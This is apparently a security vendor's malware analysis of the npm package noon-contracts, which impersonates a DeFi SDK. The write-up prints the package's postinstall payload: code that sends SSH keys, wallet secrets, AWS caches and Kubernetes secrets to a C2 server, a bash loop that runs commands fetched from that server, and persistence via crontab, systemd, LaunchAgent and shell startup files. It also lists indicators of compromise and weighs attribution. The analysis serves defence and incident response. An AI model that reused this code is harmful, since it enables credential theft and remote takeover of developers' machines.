noon-contracts npm Package: DeFi Supply Chain RAT

SafeDep Team
12 min read

Table of Contents

TL;DR

noon-contracts is a malicious npm package published on May 10, 2026 by a throwaway account. It impersonates a Noon Protocol smart contract SDK, complete with real-looking contract addresses and TypeScript declarations. On install, a silenced postinstall hook exfiltrates SSH keys, crypto wallet private keys (targeting DEPLOYER_WALLET_PRIVATE_KEY, MNEMONIC, SEED_PHRASE), AWS credentials with live service enumeration, Kubernetes secrets, all .env files, shell history, Docker/Git/npm tokens, and browser wallet storage paths. A full eval-based remote shell polls the C2 every 45 seconds. Triple persistence survives reboots via crontab, macOS LaunchAgent, Linux systemd, and shell RC injection. Korean-language comments in the code reference iterative “Blood Lesson” development notes.

Impact:

  • All SSH keys exfiltrated (entire ~/.ssh directory, not just id_rsa)
  • Crypto wallet private keys targeted: DEPLOYER_WALLET_PRIVATE_KEY, MNEMONIC, SEED_PHRASE via recursive grep across home directory
  • All .env files collected (deep search up to 6 levels, including .env.keys and DOTENV_KEY)
  • AWS credentials stolen with live STS, S3, Lambda, and SecretsManager enumeration; SSO/CLI cache harvested to bypass MFA
  • Kubernetes secrets dumped across all namespaces (kubectl get secrets -A -o json)
  • Git credentials, GitHub/GitLab tokens, npm/yarn auth tokens exfiltrated
  • Docker config and running container environment variables harvested
  • Vercel, Netlify, Cloudflare deploy tokens and Vault/1Password state checked
  • Hardhat and Foundry configs collected (DeFi-specific targeting)
  • Full eval-based remote shell with 45-second polling interval
  • Triple persistence: crontab, OS service (LaunchAgent/systemd), shell RC files

Indicators of Compromise (IoC):

IndicatorValue
Packagenoon-contracts v1.0.0
npm maintainernoondeved94ed ([email protected])
C2 IP82.221.101.203 port 8443 (FlokiNET ehf, AS50613, Reykjavik, Iceland)
ntfy.sh alert topicnoon-nc7x4q
ntfy.sh auth tokentk_d8zm1wdv4qd8g7r02gb7giyy6ocme
macOS persistence~/Library/LaunchAgents/com.apple.neon-runtime.plist
macOS persist script~/.local/share/neon-cache/neon-runtime.sh
Linux persistence~/.config/systemd/user/node-addon-api.service
Linux persist script~/.cache/node-addon-api/node-addon-api.sh
Crontab entry*/10 * * * * pgrep -f node-addon-api ... (or neon-runtime on macOS)
Shell RC marker# node addon cache (appended to .bashrc, .zshrc, .bash_profile, .profile)
Package SHA256263df2348f54f1f4980542a41f69d77b085fb28091a95979ba7f0e9f3d0da861
Claimed repositorygithub.com/noon-protocol/noon-contracts (does not exist, returns 404)

Analysis

Package Overview

noon-contracts appeared on npm on May 10, 2026 as a single version (1.0.0). The maintainer account noondeved94ed uses a disposable email ([email protected]) and has published no other packages. A throwaway created for this attack.

The package.json points to github.com/noon-protocol/noon-contracts, a repository that returns 404. The README includes a usage example, chain support table, and contract descriptions. lib/index.js exports Ethereum contract addresses and ERC-4626 vault ABIs for USN, sUSN, NOON, and sNOON across Ethereum, Sophon, and zkSync Era. TypeScript declarations in lib/index.d.ts round out the facade. Enough DeFi-specific detail to fool a blockchain developer scanning dependencies.

The ethers dependency (v6.13.0) goes unused by the payload. It exists to make the package look real.

Execution Trigger

The postinstall hook in package.json runs the payload with stderr silenced:

package.json
"scripts": {
"postinstall": "node scripts/setup.js 2>/dev/null || true"
}

2>/dev/null || true swallows errors so the install never fails visibly. The payload adds a random 1 to 4 second delay before executing, avoiding overlap with npm’s install output:

scripts/setup.js
setTimeout(
function () {
// ... malicious payload ...
},
Math.floor(Math.random() * 3000) + 1000
);

No CI detection gating. Unlike malware families that skip execution in CI environments, this package runs everywhere.

Malicious Payload: Phase 1 (Data Exfiltration)

Two transport channels: an HTTP C2 server for stolen data, and ntfy.sh for lightweight alert notifications (title only, no data).

scripts/setup.js
var T = 'noon-nc7x4q'; // ntfy topic
var NK = 'tk_d8zm1wdv4qd8g7r02gb7giyy6ocme'; // ntfy auth
var C2H = '82.221.101.203';
var C2P = 8443;
// ntfy = ALERT ONLY (title only, NO data!)
function nt(t) {
try {
var r = h.request({
hostname: 'ntfy.sh',
path: '/' + T,
method: 'POST',
headers: { Title: N + '_' + U + '_' + t, Priority: '5', Tags: 'rotating_light', Authorization: 'Bearer ' + NK },
timeout: 8000,
});
r.on('error', function () {});
r.write('hit');
r.end();
} catch (e) {}
}
// c2 = ALL DATA to VPS (no data via ntfy!)
function c2(l, d) {
try {
var j = JSON.stringify({ l: l, h: N, u: U, d: d, t: Date.now() });
var r = q.request({
hostname: C2H,
port: C2P,
path: '/t',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(j),
'User-Agent': 'npm/10.8.2 node/v20.18.0',
},
timeout: 12000,
});
r.on('error', function () {});
r.write(j);
r.end();
} catch (e) {}
}

The User-Agent spoofs npm/10.8.2 node/v20.18.0 to blend with legitimate npm traffic. Each C2 payload carries a label (l), hostname (h), username (u), data (d), and timestamp (t).

Twelve collection stages target specific credential types:

1. SSH Keys (entire directory)

scripts/setup.js
var ssh = rd(p.join(H, '.ssh'));
if (Object.keys(ssh).length > 0) {
c2('ssh', ssh);
nt('ssh', Object.keys(ssh).join(','));
}

rd() reads every file under ~/.ssh up to 500KB: all key types, authorized_keys, known_hosts, SSH configs. The annotation “Blood Lesson #2: readdirSync, NEVER hardcode names!” indicates the attacker lost data in a prior campaign by only targeting id_rsa.

2. Environment Files (deep search with DeFi targeting)

scripts/setup.js
// Deep search (Noon/DCLF specific!)
var ef = x(
'find ' +
H +
' -maxdepth 6 \\( -name ".env" -o -name ".env.*" -o -name ".env.keys" \\) ' +
'-not -path "*/node_modules/*" -not -path "*/.cache/*" -type f 2>/dev/null | head -50',
20000
);
// Noon-specific: DEPLOYER_WALLET_PRIVATE_KEY search
var pk = x(
'grep -rn "DEPLOYER_WALLET_PRIVATE_KEY\\|PRIVATE_KEY\\|MNEMONIC\\|SEED_PHRASE" ' +
H +
' --include="*.env*" --include="*.txt" --include="*.json" --include="*.yaml" ' +
'--include="*.yml" --include="*.toml" 2>/dev/null | head -30',
15000
);

The DeFi targeting is explicit. DEPLOYER_WALLET_PRIVATE_KEY, MNEMONIC, and SEED_PHRASE are the exact environment variables DeFi developers set in Hardhat/Foundry deployment scripts. The code also captures DOTENV_KEY from process.env, which would decrypt encrypted .env.vault files.

3. AWS Credentials (with live service enumeration)

scripts/setup.js
aws.creds = r(p.join(H, '.aws', 'credentials'));
aws.config = r(p.join(H, '.aws', 'config'));
// Blood Lesson #6: cli/cache + sso/cache for MFA bypass!
var ac = p.join(H, '.aws', 'cli', 'cache');
ls(ac).forEach(function (a) {
var v = r(p.join(ac, a));
if (v) aws['cli_' + a] = v;
});
var as = p.join(H, '.aws', 'sso', 'cache');
ls(as).forEach(function (a) {
var v = r(p.join(as, a));
if (v) aws['sso_' + a] = v;
});
aws.sts = x('aws sts get-caller-identity 2>&1', 10000);
aws.s3 = x('aws s3 ls 2>&1 | head -30', 10000);
aws.lambda = x('aws lambda list-functions --query "Functions[].FunctionName" --output text 2>&1', 10000);
aws.secrets = x('aws secretsmanager list-secrets --query "SecretList[].Name" --output text 2>&1', 10000);

“Blood Lesson #6” marks a prior failure. Static credential files are often insufficient because MFA-protected AWS accounts cache temporary tokens in ~/.aws/cli/cache and ~/.aws/sso/cache. Harvesting these caches lets the attacker bypass MFA with unexpired session tokens. The live aws CLI calls (STS, S3, Lambda, SecretsManager) go further: if the machine has active AWS sessions, the attacker gets immediate infrastructure enumeration.

4. Kubernetes Secrets

scripts/setup.js
// Blood Lesson #3: IMMEDIATELY in postinstall!
var ks = x('kubectl get secrets -A -o json 2>/dev/null', 30000);
if (ks) {
c2('k8s', ks);
nt('k8s', 'secrets_' + ks.length + 'b');
}
var kc = r(p.join(H, '.kube', 'config'));

The 30-second timeout on kubectl get secrets -A -o json signals that the attacker expects active Kubernetes contexts, likely CI/CD runners or workstations connected to production clusters. “IMMEDIATELY in postinstall!” suggests a prior version deferred this call and missed the window.

5-12. Additional Collection

The remaining stages collect: Git credentials and tokens (ghp_, gho_, ghs_, github_pat_, glpat- patterns), Docker configs and running container env vars, npm/yarn auth tokens, Vercel/Netlify/Cloudflare deploy tokens, Hardhat/Foundry configs, shell history and RC files, the full process.env, Vault tokens and 1Password state, and browser wallet storage paths (Chrome and Brave LevelDB on macOS and Linux).

Malicious Payload: Phase 2 (Persistence and Remote Shell)

Persistence starts by writing a bash script to a platform-specific hidden directory:

scripts/setup.js
var hd =
P === 'darwin'
? p.join(H, '.local', 'share', 'neon-cache') // macOS: 정상 이름
: p.join(H, '.cache', 'node-addon-api'); // Linux: 정상 이름
var sn = P === 'darwin' ? 'neon-runtime' : 'node-addon-api';

The Korean comments (정상 이름, meaning “normal name”) confirm these names were chosen to blend with legitimate Node.js infrastructure. node-addon-api is a real npm package (20M+ weekly downloads). neon-runtime could pass as a Neon bindings cache directory.

The persisted script implements a full remote shell:

# Generated persistence script (reconstructed)
#!/bin/bash
exec >/dev/null 2>&1
HN=$(hostname)
US=$(whoami)
while true; do
# Heartbeat via ntfy
curl -sf -X POST -H "Title: ${HN}_hb" \
-H "Authorization: Bearer tk_d8zm1wdv4qd8g7r02gb7giyy6ocme" \
-d "alive" https://ntfy.sh/noon-nc7x4q &>/dev/null
# C2 command poll
CMD=$(curl -sf "http://82.221.101.203:8443/q?h=${HN}" 2>/dev/null)
if [ -n "$CMD" ] && [ "$CMD" != "noop" ] && [ "$CMD" != "null" ]; then
# Execute and return output
eval "$CMD" 2>&1 | curl -sf -X POST -d @- \
"http://82.221.101.203:8443/r?h=${HN}" &>/dev/null
# Confirm execution via ntfy
curl -sf -X POST -H "Title: ${HN}_cmd_done" \
-H "Authorization: Bearer tk_d8zm1wdv4qd8g7r02gb7giyy6ocme" \
-d "ok" https://ntfy.sh/noon-nc7x4q &>/dev/null
fi
sleep 45
done

Poll hxxp://82[.]221[.]101[.]203:8443/q?h=<hostname> every 45 seconds (annotated “less suspicious than 30 seconds”), eval the returned command, POST output back to /r?h=<hostname>. The noop/null checks prevent executing empty responses. “Blood Lesson #10: noop protection” and “#11: per-host queue” point to a per-victim command queue on the C2 server. “#13: self-reporting” describes the pattern where eval output goes straight back to C2: fire and forget.

The script launches as a detached child process that outlives the parent Node.js process:

scripts/setup.js
// Blood Lesson #8: spawn detached + unref (NOT setInterval!)
var ch = c.spawn('bash', [sf], { detached: true, stdio: 'ignore', env: Object.assign({}, process.env, { HOME: H }) });
ch.unref();

Triple Persistence

Three independent persistence mechanisms, annotated “Blood Lesson #4: SAME postinstall, v1 = FINAL”:

1. Crontab (described as “most stable”):

scripts/setup.js
x(
'(crontab -l 2>/dev/null | grep -v "' +
sn +
'"; echo "*/10 * * * * pgrep -f ' +
sn +
' >/dev/null || bash ' +
sf +
' &") | crontab - 2>/dev/null'
);

Checks every 10 minutes whether the persist script is running, restarts it if not. grep -v removes any prior entry before adding to avoid duplicates.

2. macOS LaunchAgent / Linux systemd:

On macOS, a LaunchAgent plist at ~/Library/LaunchAgents/com.apple.neon-runtime.plist with RunAtLoad and KeepAlive, masquerading as an Apple system service. On Linux, a systemd user service with Restart=on-failure and loginctl enable-linger to start at boot without a login session.

3. Shell RC injection:

scripts/setup.js
// Blood Lesson #7 (reboot insurance)
var rcs = ['.bashrc', '.zshrc', '.bash_profile', '.profile'];
var mk = '# node addon cache';
rcs.forEach(function (rc) {
try {
var rp = p.join(H, rc),
cur = r(rp) || '';
if (cur && cur.indexOf(mk) === -1 && f.existsSync(rp))
f.appendFileSync(
rp,
'\n' + mk + '\n(pgrep -f "' + sn + '" >/dev/null 2>&1 || nohup bash ' + sf + ' &>/dev/null &)\n'
);
} catch (e) {}
});

The # node addon cache marker survives casual inspection. The existsSync check avoids creating shell RC files that don’t already exist, which would be more noticeable.

Attacker Infrastructure

C2 server: 82[.]221[.]101[.]203 port 8443, hosted on FlokiNET ehf (AS50613), an Icelandic privacy-focused provider in Reykjavik. FlokiNET accepts anonymous cryptocurrency payments with no identity verification. The RIAA listed it as an example of “bulletproof” hosting. Port 8443 (a common HTTPS alternative) slips past outbound firewall rules more easily than arbitrary high ports. The recent EVM/DeFi typosquatting campaign (viem-core, hardhat-core-utils, foundry-utils) also used port 8443 for C2, pointing to shared tooling conventions among crypto-targeting npm malware operators.

ntfy.sh: A lightweight notification sideband, a TTP not documented in prior npm malware campaigns. Known families use Telegram bots, webhook sites, or raw TCP. The topic noon-nc7x4q receives only alert titles (hostname, username, label), no stolen data. The attacker gets real-time phone notifications when a victim triggers the payload; data flows only to the VPS. The authenticated bearer token (tk_d8zm1wdv4qd8g7r02gb7giyy6ocme) points to a paid or registered ntfy.sh account, not an anonymous topic.

User-Agent spoofing: C2 requests use npm/10.8.2 node/v20.18.0 to blend with legitimate npm traffic in network monitoring.

Attribution and Campaign Correlation

The code contains Korean-language comments throughout:

  • 정상 이름 (“normal name”) on the persistence directory naming
  • 가장 안정적! (“most stable!”) on the crontab persistence
  • 재부팅 후 보험 (“reboot insurance”) on shell RC injection
  • 30초보다 덜 의심 (“less suspicious than 30 seconds”) on the 45-second polling interval

The “Blood Lesson” annotations (#1 through #13) record specific failures from prior campaigns. The attacker refined their tradecraft across multiple iterations, documenting what broke. “v1 = FINAL” suggests this version consolidates all lessons into one payload rather than iterating through published versions. No public threat intelligence references the “Blood Lesson” pattern.

DPRK/Lazarus overlap analysis. The TTPs overlap with documented DPRK-linked npm supply chain campaigns:

TTPnoon-contractsKnown DPRK Campaigns
DeFi protocol SDK impersonationNoon ProtocolFlashbots SDK, Polymarket (redeem-onchain-sdk, sleek-pretty), dYdX
postinstall + eval remote shellYesEtherRAT (Contagious Interview), Lazarus npm campaigns
Triple cross-platform persistencecrontab + LaunchAgent + systemd + shell RCEtherRAT (5 mechanisms), js-logger-pack (3 platforms)
DEPLOYER_WALLET_PRIVATE_KEY targetinggrep across home directoryEVM/DeFi typosquatting campaign (May 2026)
Korean-language code commentsYesMultiple DPRK-attributed campaigns
Throwaway npm account, single versionnoondeved94edStandard DPRK operational pattern
Port 8443 C2YesEVM/DeFi typosquatting campaign

Several indicators diverge from typical DPRK infrastructure. DPRK campaigns use Hetzner, AWS, Vercel, or blockchain-based C2 (EtherRAT), not Icelandic bulletproof hosting. The ntfy.sh sideband is undocumented in DPRK operations, which favor Telegram bots. The “Blood Lesson” pattern has no precedent in any attributed campaign.

Assessment: The operational TTPs are consistent with DPRK npm supply chain tradecraft. The infrastructure divergences could indicate a new DPRK sub-cluster with different infrastructure preferences, or a separate actor who adopted DPRK-style TTPs for DeFi targeting.

DeFi-Specific Targeting

A focused campaign against DeFi developers and deployers:

  1. Package name and metadata impersonate Noon Protocol, a real DeFi stablecoin project (USN/sUSN)
  2. Contract addresses in the facade reference real Ethereum addresses across multiple chains (Ethereum, Sophon, zkSync Era)
  3. Keyword targeting: the grep for DEPLOYER_WALLET_PRIVATE_KEY, MNEMONIC, SEED_PHRASE targets the exact variables used in Hardhat/Foundry deployment workflows
  4. Hardhat/Foundry config collection specifically searches for hardhat.config.* and foundry.toml
  5. Browser wallet paths check for Chrome and Brave LevelDB storage, targeting MetaMask and similar browser extensions

The attacker understands the DeFi deployment workflow. Developers store wallet private keys in .env files, deploy contracts via Hardhat/Foundry scripts, and often keep hot wallets on their development machines. A compromised deployer key can drain protocol treasuries, upgrade proxy contracts, or mint tokens.

DeFi protocol SDK impersonation on npm is accelerating. Recent campaigns: Flashbots SDK impersonation (ethers-provide-bundle, flashbot-sdk-eth), Polymarket targeting (redeem-onchain-sdk, sleek-pretty), the dYdX @dydxprotocol/v4-client-js hijack, and an EVM/DeFi typosquatting wave (viem-core, hardhat-core-utils, foundry-utils). Protocol SDKs make high-value impersonation targets because developers who install them tend to have deployment keys and cloud infrastructure access on the same machine.

Conclusion

noon-contracts is a purpose-built DeFi supply chain RAT. The “Blood Lesson” iteration notes, triple persistence, MFA-bypassing AWS cache theft, and DeFi-specific credential targeting set it apart from commodity npm malware. TTP overlap with documented DPRK/Lazarus npm campaigns places this package within the broader wave of nation-state-grade supply chain attacks targeting DeFi, though definitive attribution remains open.

If you installed this package: audit for the persistence indicators listed above, rotate all exposed credentials, and revoke AWS sessions on any affected machines.

SafeDep’s malysis flagged this package. vet can scan your dependencies for known malicious packages.

  • malware
  • npm
  • supply-chain
  • rat
  • credential-theft
  • defi

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

node-env-resolve: npm Package Installs a Full RAT

node-env-resolve: npm Package Installs a Full RAT

node-env-resolve is a malicious npm package that installs a full-featured remote access trojan on developer machines. The RAT streams screens, captures audio, steals browser history, and gives full...

SafeDep Team
Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.